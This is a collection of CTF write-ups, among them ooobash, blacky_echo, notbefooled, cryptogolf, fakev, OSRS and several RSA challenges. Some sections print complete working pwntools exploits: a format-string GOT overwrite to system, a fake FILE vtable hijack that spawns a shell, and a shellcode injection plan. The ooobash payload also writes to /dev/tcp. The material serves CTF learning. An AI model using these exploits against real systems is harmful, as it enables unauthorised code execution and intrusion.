This shell builtin checks if all locks are unlocked, and then reads theflag, decrypts it with AES, and prints the result.
But what's that `ooostate`? Looking at the xrefs, we find anotherfunction, which seems to initialize the ooostate:
```cvoid init_ooostate(){ FILE* f; int i;
memset(ooostate, 0, 32); f = fopen("/etc/ooobash/state", "rb"); if(!f) { printf("[error] state not found\n"); exit(1); } fread(ooostate, 32, 1, f); fclose(f);
for(i = 0; i < LOCKSNUM; i++) { locks[i] = 1; }}```
And directly next to that function, there is another one:
```cvoid init_oootoken(){ FILE* f;
memset(oootoken, 0, 32); f = fopen("/etc/ooobash/token", "rb"); if(!f) { printf("[error] token not found\n"); exit(1); } fread(oootoken, 32, 1, f); fclose(f);}```
Those init functions read the token and the state. So all we have to donow is look at the `aes_decrypt` function, which looks like this:
```cint aes_decrypt(char* data, int len, char* key, char* iv, char* out){ EVP_CIPHER_CTX* ctx; const EVP_CIPHER* type; int outm; int outl;
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors(); type = EVP_aes_256_cbc(); if(EVP_DecryptInit_ex(ctx, type, 0, key, iv) != 1) handleErrors(); if(EVP_DecryptUpdate(ctx, out, &outl, data, len) != 1) handleErrors(); if(EVP_DecryptFinal_ex(ctx, &out[outl], &outm) != 1) handleErrors();
EVP_CIPHER_CTX_free(ctx); return outl + outm;}```
It's just a normal AES decryption routine, which decrypts the flag withthe `ooostate`.
So let's try to just make a simple C program which reads the three filesand calls `aes_decrypt`, without all the lock stuff. Turns out thatdoesn't work and we get an error:
```140595290311552:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:crypto/evp/evp_enc.c:583:```
Maybe we overlooked something? Yeah, we overlooked the `oootoken` whichisn't used so far, and we didn't realize that the `ooostate` is modifiedwhenever a lock is unlocked.
```cvoid update_ooostate(char* keyword, unsigned int idx){ size_t len; int i; char hash[32]; char buf[164];
assert(strlen(keyword) < 100); assert(idx < LOCKSNUM); if(locks[idx]) { locks[idx] = 0; printf("unlocking %s (%d)\n", keyword, idx); len = strlen(keyword); memcpy(buf, oootoken, 32); memcpy(buf + 32, keyword, len + 1); memcpy(buf + 32 + len, oootoken, 32); SHA256(buf, len + 64, hash); for(i = 0; i < 32; i++) ooostate[i] ^= hash[i]; leftnum--; } else { printf("lock %d was already unlocked\n", idx); }}```
Now we just need those keywords. We can easily find them by checking allxrefs to `update_ooostate`. Those are the calls:
```cupdate_ooostate("unlockbabylock", 0);update_ooostate("badr3d1r", 1);update_ooostate("verysneaky", 2);update_ooostate("leetness", 3);update_ooostate("vneooo", 4);update_ooostate("eval", 5);update_ooostate("ret", 6);update_ooostate("n3t", 7);update_ooostate("sig", 8);update_ooostate("yo", 9);update_ooostate("aro", 10);update_ooostate("fnx", 11);update_ooostate("ifonly", 12);```
If we add this to our decoding program, after `init_ooostate` and`init_oootoken`, but before reading/decoding of the flag, we finally getthe flag:
```You are now a certified bash reverser! The flag is OOO{r3VEr51nG_b4sH_5Cr1P7s_I5_lAm3_bU7_R3vErs1Ng_b4SH_is_31337}```
The complete program code is available here:[solve.c](https://www.sigflag.at/assets/posts/ooobash/solve.c)
… and this is how you solve a pwn challenge without even interacting with the binary at all. This wasobviously not the intended solution, and it only worked because of therace condition which allowed us to sometimes read the key files. |
### Program descriptionMainly two bugs:- Bad checking over size input in function go leads to buffer overflow
```c int __n = get_int(); if ( ((ushort)__n == 0) || ((ushort)__n > 0x3f) ) { memcpy(auStack56,"Length err",10); print_error(auStack56); } // it only checks the lower two bytes of __n but uses 4 bytes in the end fgets(acStack65592,__n,stdin);```
- Using memcpy to write "Format err" on the buffer does notadd a terminating "\x00", so we can use the original stringto put some %s and %n to read and write.
```c// in function go() if ( strncmp(acStack65592,"ECHO->", 6) ) { memcpy(auStack56,"Format err",10); print_error(auStack56); }// in function print_error(param_1) snprintf(local_98,0x32,"[!] Error: %s",param_1); // copies also the overflowed user controllable content fprintf(stderr,local_98);```
### Exploit
- In the first input we leak the `exe.sym.got['system']` addressand then we override the `exit@got entry` with the address of `main`to have further input at our disposal.
- Then we overwrite `puts@got entry` with the system address we wroteearlier.
- In the end we properly use the echo program to echo "cat flag.txt".
```pythonfrom pwn import ELF, context, args, gdb, remote, process, log, \ p64, u64, cyclic, ui
exe = context.binary = ELF("blacky_echo")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")remotehost = ("challs.m0lecon.it", 9011)gdbscript = """# break *go + 0x135# break *go + 0x109# break *go + 0x11ebreak *print_error + 0x7d# gef config context.nb_lines_stack 8250gef config context.nb_lines_stack 40continue"""
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug(exe=exe.path, args=[exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(*remotehost, *a, **kw) elif args.GDBSCRIPT: print(gdbscript) exit(0) else: return process([exe.path] + argv, *a, **kw)
def leak_system_address(): io.recvuntil("Size:") size = 2**17 + 10 io.sendline(f"{size}") io.recvuntil("Input:") log.info(f"{exe.sym.got['system']:#08x}") # 21 io.sendline( p64(exe.sym.got['system']) + p64(exe.sym.got['exit']) + cyclic(0x10000 + 10 - 16) + b"a"*6 + b"%31$s" + f"%{0xb54 - 33}c".encode() + b"%32$hn") io.recvuntil(b"Format erraaaaaa") ans = io.recvline().strip() cusu = ans.ljust(8, b"\x00")[:8] libc_addr = u64(cusu) & 0x0000ffffffffffff log.info(f"address: {libc_addr:#08x}") libc.address = libc_addr - libc.sym.system log.info(f"libc: {libc.address:#08x}") log.debug(f"Go check GOT: {exe.sym.got['exit']}") return libc_addr
def chunks(lst, n): """Yield successive n-sized chunks from lst.""" for i in range(0, len(lst), n): yield lst[i:i + n]
def write_byte(addr, val): io.recvuntil("Size:") size = 2**17 + 10 io.sendline(f"{size}") io.recvuntil("Input:") ui.pause() io.sendline( p64(addr) + cyclic(0x10000 + 10 - 16 + 8) + f"%{(0xff - 0x15 + 1)&0xff}c".encode() + f"%{(val)}c".encode() + b"%31$hhn" ) log.info(io.recvline())
def altro_edit_puts_addr(system_addr): for i, chunk in enumerate(chunks(f"{system_addr:012x}", 4)): write_byte(exe.sym.got['puts'], int(chunk, 16)) io.recvuntil("Size:") size = 2**17 + 10 io.sendline(f"{size}") io.recvuntil("Input:") io.sendline("ECHO->cat flag.txt")
if __name__ == "__main__": io = start() system_addr = leak_system_address() altro_edit_puts_addr(system_addr) io.interactive()``` |
# notbefooled
## Problem statement
In this task, we are talking to a service with the following code:```pyfrom sage.all import *from threshold import set_thresholdimport random
FLAG = open("/flag", "r").read()
def launch_attack(P, Q, p): E = P.curve() Eqp = EllipticCurve(Qp(p, 8), [ZZ(t) for t in E.a_invariants()])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True) for P_Qp in P_Qps: if GF(p)(P_Qp.xy()[1]) == P.xy()[1]: break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True) for Q_Qp in Q_Qps: if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]: break
p_times_P = p * P_Qp p_times_Q = p * Q_Qp
x_P, y_P = p_times_P.xy() x_Q, y_Q = p_times_Q.xy()
phi_P = -(x_P / y_P) phi_Q = -(x_Q / y_Q) k = phi_Q / phi_P
return ZZ(k) % p
def attack(E, P, Q): private_key = launch_attack(P, Q, E.order()) return private_key * P == Q
def input_int(msg): s = input(msg) return int(s)
def curve_agreement(threshold): print("Give me the coefficients of your curve in the form of y^2 = x^3 + ax + b mod p with p greater than %d:" % threshold) a = input_int("\ta = ") b = input_int("\tb = ") p = input_int("\tp = ") try: E = EllipticCurve(GF(p), [a, b]) if p >= threshold and E.order() == p: P = random.choice(E.gens()) print("Deal! Here is the generator: (%s, %s)" % (P.xy()[0], P.xy()[1])) return E, P else: raise ValueError except Exception: print("I don't like your curve. See you next time!") exit()
def receive_publickey(E): print("Send me your public key in the form of (x, y):") x = input_int("\tx = ") y = input_int("\ty = ") try: Q = E(x, y) return Q except TypeError: print("Your public key is invalid.") exit()
def banner(): with open("/banner", "r") as f: print(f.read())
def main(): banner() threshold = set_threshold() E, P = curve_agreement(threshold) Q = receive_publickey(E) if attack(E, P, Q): print("I know your private key. It's not safe. No answer :-)") else: print("Here is the answer: %s" % FLAG)
if __name__ == "__main__": main()```In other words, we have the following setting:1. Server chooses and sends a large `threshold` (consistently `threshold > 2**200`).2. Client chooses and sends `a`, `b`, and `p`, which define an elliptic curve `E(x) = x^3 + ax + b` over `Z/pZ`.3. Server verifies that `a`, `b` define an elliptic curve and that a. `p >= threhold` b. `E.order() == p`.4. Server chooses and sends a generator `P` of `E`.5. Client chooses a private key `k` and sends the respective public key `Q = k * P`.6. Server mounts an attack. The client gets the flag if the attack **fails** to recover the private key `k`.
## Analysis
It is reasonably easy to find that curves for which 3b holds are called **anomalous**and have interesting properties: in particular, they are weak to a so-called Smart's attack [[1]](#References),which is exactly what `launch_attack` here implements.
In a nutshell, a curve `E` over `Zmod(p)` can be _lifted_to a curve `E` over the p-adic rationals `Qp(p)`.This lift is a homomorphism with respect to multiplication,and it turns out that ECDLP is easy over `Qp(p)`.
Popular literature generally does not mention any failure modes of this attack:this is because, in a sense, it "doesn't have any":a _sufficiently smart_ implementation will succeed against every anomalous curve.
So the flaw must be in the implementation, and [[2]](#References) points in the same direction:the same code as `launch_attack`, given in that post, fails in the casewhere```pyEllipticCurve(Qp(p, 8), [ZZ(t) for t in E.a_invariants()])```gives a **canonical lift** of `E` from `Zmod(p)` to `Qp(p)`.It turns out Smart's original paper [[3]](#References) mentions this fact in passing.It is not significant in general because a smart implementation will try random lifts:```pyEllipticCurve(Qp(p, 8), [ZZ(t) + randint(0,p)*p for t in E.a_invariants()])```until it succeeds.A randomly chosen lift has a `1/p` chance of failing, which is negligible.
So our goal is to exploit the fact that our adversary only triesthe trivial lift: the one with the same `a`-invariants as the original curve.This is where this challenge became difficult:my mathematical background was insufficient to exploit this.There is a fairly detailed explanation [[4]](#References) of how to generate general anomalous curves,but it is not clear which additional constraints are needed to ensure that the trivial lift is canonical.
In the end, I consulted an [authority in the field](https://www.math.uwaterloo.ca/~ajmeneze),who pointed me to the fact that a zero `j`-invariant (like in the curve in [[2]](#References)) is sufficient.With this in mind, we can simply implement the `D = 3` case from [4], which is disregarded in the paperas an edge case (formulae differ when `j = 0`).
## Solution
```pyimport mathimport random
from sage.all import *from pwn import *
def curve_from_prime(p): # a = 0 ensures j-invariant zero. # Don't know a smarter way to choose b... while True: b = random.randint(1, p-1) print(f"try b = {b}") E = EllipticCurve(GF(p), [0, b]) if E.order() == p: print(f"chose b = {b}") return E
def anomalous_prime(pmin): k = int(math.log2(pmin)) + 1 m = 2**(k//2) while True: print(f"try m = {m}") p = 27 * m**2 + 1 if p % 4 == 0: p = ZZ(p // 4) if p.is_prime(): print(f"chose p = {p}") return p m += 1
def main(): r = remote("notbefoooled.challenges.ooo", 5000) r.recvuntil("greater than ") pmin = int(r.recvline()[:-2]) print(f"requiring p >= {pmin}")
p = anomalous_prime(pmin=pmin) E = curve_from_prime(p) a, b = E.a4(), E.a6()
r.sendlineafter("a = ", str(a)) r.sendlineafter("b = ", str(b)) r.sendlineafter("p = ", str(p)) r.recvuntil("the generator: (") gen_x = r.recvuntil(",")[0:-1] gen_y = r.recvuntil(")")[1:-1] gen = E(int(gen_x), int(gen_y)) priv = random.randint(1, p-1) pub = priv * gen pub_x, pub_y = pub.xy() r.sendlineafter("x = ", str(pub_x)) r.sendlineafter("y = ", str(pub_y))
print(r.recvall())
if __name__ == "__main__": main()```
## References
[1] https://wstein.org/edu/2010/414/projects/novotney.pdf
[2] https://crypto.stackexchange.com/q/70454
[3] https://link.springer.com/content/pdf/10.1007/s001459900052.pdf
[4] http://www.monnerat.info/publications/anomalous.pdf |
## cryptogolf
The server start generating a random string, chall. This chall is encrypted and sent, our purpose is to decrypt this chall given the oracle that encrypt what we give. But using less than 128 requests of encryption for the first flag, and 45 for the second flag.
Analysing the encryption process we found that is a kind of ARX cipher with a permutation matrix where the input can be viewed as split in 6 parts of 128 bits. The permutation matrix is applied on the single parts. In the end we obtainend the following form.
```c0 = p^4 * e5 + p^3 * e0 + p^2 * e1 + p * e2 + e3c1 = p^5 * e5 + p^4 * e0 + p^3 * e1 + p^2 * e2 + p * e3 + e4c2 = p^6 * e5 + p^5 * e0 + p^4 * e1 + p^3 * e2 + p^2 * e3 + p * e4 + e5c3 = p^7 * e5 + p^6 * e0 + p^5 * e1 + p^4 * e2 + p^3 * e3 + p^2 * e4 + e0c4 = p^8 * e5 + p^7 * e0 + p^6 * e1 + p^5 * e2 + p^4 * e3 + p^3 * e4 + p^2 * e5 + e1c5 = p^9 * e5 + p^8 * e0 + p^7 * e1 + p^6 * e2 + p^5 * e3 + p^4 * e4 + p^2 * e0 + e2```
Where c0,c1,...,c5 is the result of the encryption, e0,e1,...,e5 is the input and p is the permutation matrix.
Observing the equations we found that if e2=1 and e0,e1,e3,e4,e5 are all 0 the resulting c0 is the permutation of the 1. Meaning that we could dechiper the matrix in 128 steps with this method.
Improving the method, we observe that under the same condition c1 is the result of the permutation applied 2 times, c2 three times, c3 four times, c4 five times. c5 is 6 time the permutation summed with the original bit.
Using this method is possible to obtain the permutation matrix in under 45 attempts.
Finally we must invert the encryption function knowing the permutation matrix.
This is the final script. Beware that this is not the theoretical but very close (around 38 attempts).
```python#!/usr/bin/env pythonfrom pwn import *import binasciiimport hashlib
host = args.HOST or 'challs.m0lecon.it'port = int(args.PORT or 11000)
io = connect(host, port)secret = [-1 for i in range(128)]
def apply_secret(c): r = bin(c)[2:].rjust(128,'0') return int(''.join([str(r[i]) for i in secret]), 2)
def decrypt(s): to_decrypt = int(s, 16) for ll in range(9): x = apply_secret((to_decrypt >> (640-128)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) reappear = ((to_decrypt >> 640) ^ x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF to_decrypt = to_decrypt << 128 | reappear to_decrypt = to_decrypt % 2**(128*6) return hex(to_decrypt)[2:]
def solve(chall): io.recvuntil("2. Give me the decrypted challenge") io.sendline("2") ris = decrypt(chall) ris = binascii.unhexlify(ris) io.sendline(ris) return io.recvuntil("\n")
def pad32(s): m = 32 - len(s) return "0"*m + s
def send_enc(val): io.recvuntil("2. Give me the decrypted challenge") io.sendline("1") io.recvuntil("Give me something to encrypt (hex):\n") io.sendline(val) return io.recvuntil("\n")
def attempt(e): val = [pad32(hex(es)[2:]) for es in e] vals = int(send_enc("".join(val)),16) ret = []
for i in range(6): ret.append(vals & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) vals = vals >> 128 return ret
#PoWio.recvuntil("sha256sum ends in ")check = io.recvuntil(".",drop=True)chk = ""for i in range(1000000000000): if hashlib.sha256(str(i).encode('ascii')).hexdigest()[-6:] == check: print(hashlib.sha256(str(i).encode('ascii')).hexdigest()[-6:]) print(check) chk = str(i) breakprint(chk)
io.sendline(chk)
#start challlengeprint(io.recvuntil("Encrypted challenge (hex):\n"))chall = io.recvuntil("\n")
#obtaining the secret permutation matrixfor req in range(128): if req in secret: continue val = 2**(127-req) vals = attempt([0,0,0,val,0,0])
old = req #removing e2 from c5 = p**6 * e2 + e2 vals[5] = vals[5]^val #compute the 6 permutations for i in range(6): pos = 128-len(bin(vals[i])[2:]) secret[pos] = old old = pos
#decrypt and sendsolve(chall)
io.interactive()``` |
After reversing the binary, we find out that the RSA primes are:
```p = 2*x*r1 + 1q = 2*x*r2 + 1```Where `x = a+b`, we choose a, and b is very small. x is prime and has the same size of r1 (or r2).We can just search for next_prime(a) until we find x at some point based on the information below:
Because `N = p*q = 2*2*x*x*r1*r2 + 2*x*r1 + 2*x*r2 + 1` and x, r1 and r2 can be of the same size, we can reduce `re = N % (2*2*x*x)`, so we obtain the equation system:```N = 2*2*x*x*r1*r2 + 2*x*r1 + 2*x*r2 + 1re = 2*x*r1 + 2*x*r2 + 1```Solving this system we obtain r1 and r2, so we can reconstruct p and q. No coppersmith needed.
|
# More than RSA
## Problem statement
We are given the following RSA parameters:```pyn = 1100850264887168314211762819883795365780121968205537296902223426731243068938524059257925143313777052757053856786982874173716276177998575844405107994774163623594567853401672642143800707599048708305224295632993779740746149997736938447e = 65537```and the following ciphertext:```pyciphertext = 480094491344184716025867044738553123253487474486589471961845430330096785266173544331123030859187762374111000621126862865088179081207677858976347099293571569918719633123584814249747143430742130678496191240615060301658387433503985739```We are (implicitly) asked to find the plaintext.
## Solution
Consider the description:
> British scientists have found RSA-512 to be lacking. We have made it 1.5 times better. Can you break it now?
The phrase "1.5 times better" leads us to suspect that either the modulus was manipulatedin some unsavory fashion, or perhaps we have 3 primes instead of 2.In any case, to start with, let's see if we can easily factor the modulus:```py>>> import sympy>>> sympy.factorint(n)```This takes long enough that we give up. OK, let's throw RsaCtfTool at it:```sh$ RsaCtfTool.py -n 1100850264887168314211762819883795365780121968205537296902223426731243068938524059257925143313777052757053856786982874173716276177998575844405107994774163623594567853401672642143800707599048708305224295632993779740746149997736938447 -e 65537# ...[*] Performing pollard_p_1 attack on /tmp/tmpp2645c_8.ValueError: RSA factor q is composite```We're in luck!Looks like we have more than two prime divisors of the modulus, and we have just found one in less than a minute.By changing the RsaCtfTool source to just print `p` and `q` instead of trying to construct a private key, we get```pyp = 54469q = 20210583357270526615354840732963619045330774719666916905069368388096771905827609452310950142535700173622681833464592229960459640859912534550021259703210332915870822915817669539440795821458971310382498221612179032858068809740163```Now, `p` is prime, as we can easily check, so it remains to factor `q`.We repeat the process, now setting `n = q`:```py$ RsaCtfTool.py -n 20210583357270526615354840732963619045330774719666916905069368388096771905827609452310950142535700173622681833464592229960459640859912534550021259703210332915870822915817669539440795821458971310382498221612179032858068809740163 -e 65537```This time, it looks like RsaCtfTool can't help us.Let's try sympy again, hoping that we've shaved off enough bits:```py>>> sympy.factorint(q){142163931281005755026535550620537881622367024340878866899822911342984290337906414351811561305643313838918021183679: 1, 142163931281005755026535550620537881622367024340878866899822911342984290337906414351811561305643313842490901812797: 1}```Lucky again! So, in summary, we have:```pyp1 = 54469p2 = 142163931281005755026535550620537881622367024340878866899822911342984290337906414351811561305643313838918021183679p3 = 142163931281005755026535550620537881622367024340878866899822911342984290337906414351811561305643313842490901812797```Now it's trivial to decrypt the ciphertext:```py>>> phi = (p1 - 1) * (p2 - 1) * (p3 - 1)>>> d = gmpy2.invert(e, phi)>>> flag = pow(ciphertext, d, n)>>> print(binascii.unhexlify(hex(flag)[2:]))b'ugra_3rsa_is_secure_unless_you_get_bad_primes_4d43902417d0d31d'``` |
We have an xlsx table, inside of which a formula is checked. If we spread the table as zip, then we can see a large number of conditions that all must be fulfilled. We pull out all the expressions and solve them to find satisfying conditions
```import xml.etree.ElementTree as ETimport reimport sympy
tree = ET.parse('sheet1.xml')root = tree.getroot()
formulas = list()
def get_children(root): if len(root) == 0: return for child in root: if child.tag[-1] == "f": formulas.append(child.text) get_children(child)
get_children(root)formulas.pop()
expressions = list()for formula in formulas: expressions.extend(re.search(r"IF\(\((.*)\) AND \((.*)\) AND \((.*)\), 1, 0\)", formula).group(2,3))
for i, expression in enumerate(expressions): expressions[i] = (re.sub(r'CODE\(A(\d+)\)', r'A\1', expression)).replace(" = 0", "").replace("^", "**")
solution = {}for expression in expressions: x = re.findall(r"A\d+", expression)[0] exec(f"{x} = sympy.var('{x}')") solve = sympy.solve(expression, x) if x not in solution: solution[x] = list() solution[x].append(solve)
for i in solution: while len(solution[i]) != 1: solution[i][0] = list(set(solution[i][0]) & set(solution[i][1])) solution[i].pop(1)
output = [""]for key, value in solution.items(): if len(value[0]) == 1: for i in range(len(output)): output[i] += chr(value[0][0]) else: output.extend(output) for i in range(len(output) // 2): output[i] += chr(value[0][0]) for i in range(len(output) // 2, len(output)): output[i] += chr(value[0][1])
print("\n".join(output))```Output:```ugra_school_informatics_isnttthat_useless_45203ee146c2ugra_school_informatics_isnt_that_useless_45203ee146c2ugra_school_informatics_isnttthat_useeess_45203ee146c2ugra_school_informatics_isnt_that_useeess_45203ee146c2ugra_school_informatics_isnttthat_useless_45203ee146ccugra_school_informatics_isnt_that_useless_45203ee146ccugra_school_informatics_isnttthat_useeess_45203ee146ccugra_school_informatics_isnt_that_useeess_45203ee146cc```
Since the conditions were quadratic equations, sometimes expressions appeared, both roots of which satisfied all formulas, so more than 1 root was obtained. I had to try everything. Done! |
### [**replay (1411 frames)**](http://github.com/ypl-coffee/CTF/tree/master/spamandflags-2020)
I was unable to make it faster than 1330 frames.
A few tricks:1. After being hit by an enemy, Android enters a short period of invincibility. I used it to skip the second orb.2. Both `RndSpike`s and the `TRex` uses homebrew deterministic PRNG implemented in `Rnd.py`. **[@ArRu](https://ctftime.org/user/79156)** wrote a simulator based on that to help me "fortune-telling" the spike movements. For example, if a **"move right"** (`0b01000`) caused a spike to go up in front of Android, changing it to **"move right while crouching"** (`0b01010`) may solve the problem.3. One way to kill `TRex` safely is to wait it `run` towards you and hit it outside the boss room:4. A faster way to kill `TRex`: Crouching (`0b00010`) cancels Android's attack animation. Doing `0b10000, 0b00010, 0b10000, 0b00010...` deals 1 damage every 2 frames.
Here's some flags: |
# TJCTF – OSRS
* **Category:** binary* **Points:** 50
## Challenge
> My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.>> I don't know what any of this means but this system sure looks old! It has like zero security features enabled...>> Attachments :> > binary> >> > nc p1.tjctf.org 8006
## Solution
if we check the security of the binary we see its not secured at all XD :

so lets run the binary and see what it does :

hmmm it gives as a negative number am guessing its an address for something lets see :


wow we see its also using gets XD, hmmm i guess this address is somewhere in the stack cool, we can use that for a shellcode injection
I grabbed a shellcode from shellstorm from [here](http://shell-storm.org/shellcode/files/shellcode-827.php)
so our first payload will be :
```overflow offsetreturn to get_tree```
now we have the stack address we can add it to the offset plus 0x50 to ensure it will land on the nop sleds
so the next payload is :```overflow offsetreturn to "stack address + offset + 0x50"nop sledsshellcode```
so when it returns to that address it will land somewhere on the nop sleds that leads to the shellcode
the script here : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/solve.py)
```tjctf{tr33_c0de_in_my_she115}```
> P.S : Trees are my thing |
# m0leCon CTF 2020 Teaser
## fakev
This challenge was solved by [@korniltsev](https://ctftime.org/user/54962), [@mostobriv](https://ctftime.org/user/25913), [@n00bie](https://ctftime.org/user/50936) and me (on behalf of [Corrupted Pwnis](https://ctftime.org/team/87386)).
Writeup will not be super detailed, but rather brief overview of the solution.
`fakev` service allows us to open up to 9 files which are organized into a linked list of the following structure:
```cppstruct node_t { FILE *file; struct node_t *next;};```
Where `file` is a pointer into the file structure of the corresponding file. Also, we're able to close and read content of these files (write isn't implemented).
Basically, there are 2 vulns. The first one is UAF in reading file content (we can read the file content of the already closed file). The second one is placed inside of `add` function. When we create 9th file, service allocates new `struct node_t` for this file, but doesn't use it. Instead, it assigns stack address into `next` field of the previously opened file:
```cpp new_node = (node_t *)malloc(0x10uLL); if ( !new_node ) { perror("Couldn't alloc"); exit(1); } node->next = (node_t *)&stac;; // set next to stack node->next->file = (_QWORD *)fp; node->next->next = 0LL;```
If we can control stack value, then we're able to change `next` into controlled `struct node_t` with controlled `file` field. In `get_int` function input that user supplies is then saved into the global variable (address of this variable is known because of disabled `PIE`).
Hence, attack vector is the next:
1. Leak libc address (will be explained below)2. Change `next` field of the last opened file with the controlled one (already explained)3. Point `file` into global variable which is controlled (already explained)4. Call `fclose` on the `fake file` and get the shell (will be explained below).
The rest we need to do is to leak libc address and hijack the control flow when `fclose` is called on the fake file struct. Libc leaking can be done by filling up `tcache[0xf0]` and then using the first vuln (UAF in reading) to read content of the freed unsorted bin chunk.
Controlling the program flow after `fclose` is called can be done by forging the vtable of the fake file struct. Of course, we can't just point it to any fake vtable because of `_IO_vtable_check`. Fake vtable should be placed inside of libc vtable section. After searching for the right function, we're faced with `_IO_str_overflow`. Just satisfy the requirements and call arbitrary code with controlled `rdi`.
```pythonfrom pwn import *
def open_file(io, idx, fake_idx=None): io.sendlineafter(':', '1') if fake_idx is not None: io.sendafter(':', fake_idx) else: io.sendlineafter(':', str(idx))
def read_content(io, idx): io.sendlineafter(':', '2') io.sendlineafter(':', str(idx))
def close_file(io): io.sendlineafter(':', '4')
def main(): libc = ELF('./libc.so.6') io = remote('challs.m0lecon.it', 9013)
for idx in range(1, 9): open_file(io, idx) for idx in range(8): close_file(io) log.info('tcache[0xf0] is filled up') read_content(io, 1) libc_arena = u64(io.recvn(17)[9:]) libc_base = libc_arena - 0x3ebca0 log.success('libc_arena @ ' + hex(libc_arena)) log.success('libc_base @ ' + hex(libc_base))
for idx in range(1, 9): open_file(io, idx) open_file(io, 1)
vtable = libc_base + 0x3e82a0 rdi = libc_base + next(libc.search('/bin/sh')) system = libc_base + libc.symbols['system'] fake_file = '' fake_file += p64(0x2000) # flags fake_file += p64(0) # _IO_read_ptr fake_file += p64(0) # _IO_read_end fake_file += p64(0) # _IO_read_base fake_file += p64(0) # _IO_write_base fake_file += p64((rdi-100)/2) # _IO_write_ptr fake_file += p64(0) # _IO_write_end fake_file += p64(0) # _IO_buf_base fake_file += p64((rdi-100)/2) # _IO_buf_end fake_file += p64(0) # _IO_save_base fake_file += p64(0) # _IO_backup_base fake_file += p64(0) # _IO_save_end fake_file += p64(0) # _markers fake_file += p64(0) # _chain fake_file += p64(0) # _fileno fake_file += '\xff'*8 fake_file += p64(0) fake_file += p64(0x602110)
fake_file += '\xff'*8 fake_file += p64(0) fake_file += p64(0x602108) # file fake_file += p64(0) # next fake_file += p64(0) fake_file += p64(0) fake_file += p64(0) fake_file += p64(0) fake_file += p64(0) fake_file += p64(vtable-0x3a8-0x88) # vtable fake_file += p64(system) # alloc_buffer
payload = ''.join([ '4'.ljust(8, '\x00'), fake_file ]).ljust(0x100, '\x00') io.send(payload) log.success('embeded fake file struct into linked list') log.info('triggering fclose on fake file struct...') io.sendline('cat flag.txt')
io.interactive()
if __name__ == '__main__': main()```
> ptm{pl4y1ng_w17h_5t4cks_4nd_f1l3s_f0r_fun_4nd_pr0f} |
Just my exploit code. Enjoy!
```#!/usr/bin/env python# ooobash - defcon quals 2k20 - solution by @roman_soft
from pwn import *
p = remote("ooobash.challenges.ooo", 5000)
payload = """OOOENV=alsulkxjcn92 /bin/bash -L -o sneaky -i 2> /dev/null << EOF #3 & #4
unlockbabylock # 0
r=\$((\$RANDOM*\$RANDOM))set -o noclobber; echo 1 2> /tmp/badr3d1rYEAHHHHHHHH\$rset -o noclobber; echo 1 2> /tmp/badr3d1rYEAHHHHHHHH\$r #1rm -f /tmp/badr3d1rYEAHHHHHHHH\$r
echo > .sneaky #2
abc #5
perl -e 'exit(57)' #6
echo hola > /dev/tcp/0.0.0.0/53 #7
kill -10 $\$ #8
alias yo='echo yo!'alias yo='echo yo!' #9
declare -r ARO=oledeclare -r ARO=ole #10
function fnx { echo ; } ; fn 1 #11
echo -e 'if :\nthen\n\n\n\nfalse\nfi' > /tmp/rs\$r; source /tmp/rs\$r ; rm -f /tmp/rs\$r #12
getflagEOF"""
p.send(payload)p.interactive()``` |
# TJCTF – RSABC
* **Category:** crpyot* **Points:** 50
## Challenge
> I was just listening to some [relaxing ASMR](https://youtu.be/J2g3lvNkAfI) when a notification popped up with this.>> ???>> Attachments:> > n=57772961349879658023983283615621490728299498090674385733830087914838280699121> >> > e=65537> >> > c=36913885366666102438288732953977798352561146298725524881805840497762448828130
## Solution
hmmm I guess its a regular RSA and we don't need any hints because the numbers are small enough to factorize
so I used this handy dandy (website)[https://www.alpertron.com.ar/ECM.HTM] to factorize N : (it took me a couple minutes though)
```p = 202049603951664548551555274464815496697q = 285934543893985722871321330457714807993```
and from there it's easy to decrypt the ciphertext, I used a python [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/crypto/rsabc/solve.py) to do that
```tjctf{BOLm1QMWi3c}``` |
[Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-04/wpictf_writeups#-zoop)
Go to website given, http://zoop.wpictf.xyz
See that if we click the Attach option, there’s a **Preview** button. If we try a common file name for flags, flag.txt, with the given storage.zoop prefix, we get the flag. |
# z3_robot
> I made a robot that can only communicate with "z3". He locked himself and now he is asking me for a password !
## Description
We are given a binary. Let's run it.

The robot asks for a `Passz3rd`. Let's reverse the binary to find the password with Ghidra.
```cvoid main(void){ char cVar1; size_t sVar2; long in_FS_OFFSET; undefined8 input; undefined8 local_30; undefined8 local_28; undefined4 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); input = 0; local_30 = 0; local_28 = 0; local_20 = 0; printf( " \\_/\n (* *)\n __)#(__\n ( )...( )(_)\n || |_| ||//\n>==() | | ()/\n _(___)_\n [-] [-] Z3 robot says :" ); puts(pass); printf("-> "); fflush(stdout); fgets((char *)&input,0x19,stdin); sVar2 = strcspn((char *)&input,"\n"); *(undefined *)((long)&input + sVar2) = 0; cVar1 = check_flag(&input); if (cVar1 == '\x01') { puts( " \\_/\n (* *)\n __)#(__\n ( )...( )(_)\n || |_| ||//\n>==() | | ()/\n _(___)_\n [-] [-] Z3 robot says :" ); printf("Well done, valdiate with shkCTF{%s}\n",&input); } else { puts( " \\_/\n (* *)\n __)#(__\n ( )...( )(_)\n || |_| ||//\n>==() | | ()/\n _(___)_\n [-] [-] Z3 robot says :" ); puts("3Z Z3 z3 zz3 3zz33"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
Well this looks intimidating, but actually it is quite simple: the code prints the welcome message, asks for our input (the `fgets` line), replace the `\n` by 0 and pass this string to `check_flag`.
